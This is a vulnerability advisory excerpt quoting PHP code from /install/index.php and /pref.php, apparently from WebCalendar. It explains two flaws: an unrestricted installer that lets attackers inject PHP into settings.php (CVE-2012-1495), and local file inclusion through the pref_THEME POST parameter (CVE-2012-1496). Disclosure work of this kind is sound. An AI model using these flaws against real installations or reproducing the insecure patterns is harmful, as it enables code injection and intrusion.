    [-] vulnerable code in /install/index.php (CVE-2012-1495)

    674.    $y = getPostValue ( 'app_settings' );
    675.    if ( ! empty ( $y ) ) {
    676.      $settings['single_user_login'] = getPostValue ( 'form_single_user_login' );
    677.      $settings['readonly'] = getPostValue ( 'form_readonly' );
    ...
    724.      // Save settings to file now.
    725.    if ( ! empty ( $x ) || ! empty ( $y ) ){
    726.      $fd = @fopen ( $file, 'w+b', false );
    727.      if ( empty ( $fd ) ) {
    728.        if ( @file_exists ( $file ) ) {
    729.          $onloadDetailStr =
    730.            translate ( 'Please change the file permissions of this file', true );
    731.        } else {
    732.          $onloadDetailStr =
    733.            translate ( 'Please change includes dir permission', true );
    734.        }
    735.        $onload = "alert('" . $errorFileWriteStr . $file. "\\n" .
    736.          $onloadDetailStr . ".');";
    737.      } else {
    738.        if ( function_exists ( "date_default_timezone_set" ) )
    739.          date_default_timezone_set ( "America/New_York");
    740.        fwrite ( $fd, "<?php\r\n" );
    741.        fwrite ( $fd, '/* updated via install/index.php on ' . date ( 'r' ) . "\r\n" );
    742.        foreach ( $settings as $k => $v ) {
    743.          if ( $v != '<br />' && $v != '' )
    744.          fwrite ( $fd, $k . ': ' . $v . "\r\n" );
    745.        }
    
    Restricted access  to this script isn't  properly realized,  so an attacker might be able
    to  update  /includes/settings.php  with arbitrary  values  or  inject PHP code  into it.
    
    [-] vulnerable code to LFI in /pref.php (CVE-2012-1496)
        
    70.    if ( ! empty ( $_POST ) && empty ( $error )) {
    71.      $my_theme = '';
    72.      $currenttab = getPostValue ( 'currenttab' );
    73.      save_pref ( $_POST, 'post' );
    74.    
    75.      if ( ! empty ( $my_theme ) ) {
    76.        $theme = 'themes/'. $my_theme . '_pref.php';
    77.        include_once $theme;
    78.        save_pref ( $webcal_theme, 'theme' );
    79.      }
    
    Input passed through $_POST['pref_THEME'] isn't properly sanitized  before being assigned
    to $my_theme variable, this can be exploited to include arbitrary local files at line 77.
    Exploitation  of this  vulnerability requires  authentication and magic_quotes_gpc = off.
